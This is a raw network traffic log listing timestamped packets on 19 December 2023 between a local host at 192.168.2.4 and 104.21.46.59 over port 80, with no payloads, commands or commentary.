Dec 19, 2023 03:22:45.122245073 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.122273922 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.123054981 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.123100996 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.123128891 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.123146057 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.123157978 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.123179913 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.123187065 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.123230934 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.123900890 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.123913050 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.123955965 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.123994112 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.124006033 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.124018908 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.124051094 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.124811888 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.124825001 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.124851942 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.124870062 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.124872923 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.124902964 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.124906063 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.124947071 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.125718117 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.125744104 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.125756979 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.125767946 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.125786066 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.125792027 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.125821114 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.126563072 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.126593113 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.126605034 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.126668930 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.126698971 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.126729965 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.126768112 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.126807928 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.127489090 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.127526999 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.127538919 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.127569914 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.127592087 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.127604008 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.127644062 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.128374100 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.128386021 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.128413916 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.128427029 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.128468037 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.128473043 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.128501892 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.128544092 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.129250050 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.129280090 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.129339933 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.129354000 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.129416943 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.129472017 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.129484892 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.130187035 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.130203962 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.130239964 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.130280018 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.130316019 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.130336046 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.130347013 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.130390882 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.131047010 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.131059885 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.131108999 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.131109953 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.131141901 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.131160021 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.131189108 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.131939888 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.131952047 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132002115 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132016897 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132029057 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.132039070 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132050991 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.132085085 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.132842064 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132853985 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132875919 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132888079 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132904053 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.132934093 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.132935047 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.133702993 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.133759022 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.133805990 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.133820057 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.133836985 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.133878946 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.133903027 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.133955002 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.134571075 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.134583950 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.134634018 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.134637117 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.134660006 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.134682894 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.134731054 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.135471106 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.135513067 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.135520935 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.135559082 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.135592937 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.135637999 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.135649920 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.136288881 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.136293888 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.136362076 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.136424065 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.136430979 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.136437893 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.136476040 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.136549950 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.137336969 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.137348890 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.137360096 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.137371063 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.137388945 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.137412071 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.137413025 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.137454987 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.137960911 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138012886 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138046980 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138058901 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138092995 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.138098001 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138112068 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.138844967 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138854980 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138885021 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138909101 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.138925076 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.138926983 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.138968945 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.139012098 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.139642954 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.139729977 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.139795065 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.139806032 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.139849901 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.139894009 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.139899015 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.140464067 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.140522003 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.140528917 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.140620947 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.140633106 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.140645027 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.140675068 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.140705109 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.141304970 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.141355038 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.141412973 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.141446114 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.141458035 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.141463041 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.141491890 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.141501904 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.141550064 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.142237902 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.142251015 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.142302036 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.142318010 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.142329931 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.142352104 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.142386913 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.142393112 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.142855883 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.143239021 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.143250942 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.143263102 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.143306971 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.143321991 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.143325090 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.143340111 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.143345118 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.143379927 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.144129038 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.144188881 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.144201040 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.144212008 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.144234896 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.144263983 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.144300938 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.144433975 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.145035982 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.145102024 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.145117044 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.145128012 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.145160913 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.145163059 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.145174026 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.145231962 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.145318985 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.145404100 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.145989895 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.146063089 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.146100998 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.146112919 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.146166086 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.146166086 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.146172047 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.146204948 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.146250010 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.146966934 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147011042 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147051096 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147079945 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147095919 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.147124052 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.147589922 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147602081 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147612095 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147624969 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147638083 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147649050 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.147654057 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.147682905 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.147703886 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.148513079 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.148542881 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.148588896 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.148597956 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.148610115 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.148622036 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.148658037 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.148660898 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.148828983 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.149383068 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.149421930 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.149450064 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.149497986 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.149537086 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.149549961 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.149580002 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.149589062 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.150276899 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.150361061 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.150393963 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.150460005 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.150451899 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.150497913 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.150566101 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.150631905 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.150671959 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.150722027 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.151134014 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.151151896 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.151194096 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.151253939 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.151293039 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.151314974 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.151355982 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.151366949 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.151448011 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.152039051 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.152098894 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.152112007 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.152151108 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.152178049 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.152200937 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.152213097 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.152225018 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.152254105 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.152890921 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.152942896 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.152976990 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153008938 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153022051 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.153047085 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.153063059 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153090954 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153136015 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.153805017 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153837919 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153850079 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153886080 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.153896093 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153935909 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.153940916 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.153954983 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.154000998 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.154689074 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.154701948 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.154737949 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.154751062 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.154762030 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.154783010 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.154825926 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.154825926 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.154901028 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.155519962 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.155533075 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.155565977 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.155581951 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.155594110 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.155606031 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.155636072 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.155648947 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.155699968 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.156433105 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.156491995 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.156557083 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.156645060 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.156668901 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.156717062 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.156749010 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.156750917 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.156774044 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.156811953 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.156821012 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.156965017 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.157494068 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.157510996 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.157560110 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.157572985 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.157593966 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.157607079 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.157634974 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.157640934 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.157686949 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.158356905 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.158370018 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.158407927 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.158438921 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.158456087 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.158477068 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.158499002 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.158520937 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.159152031 CET	49753	80	192.168.2.4	104.21.46.59
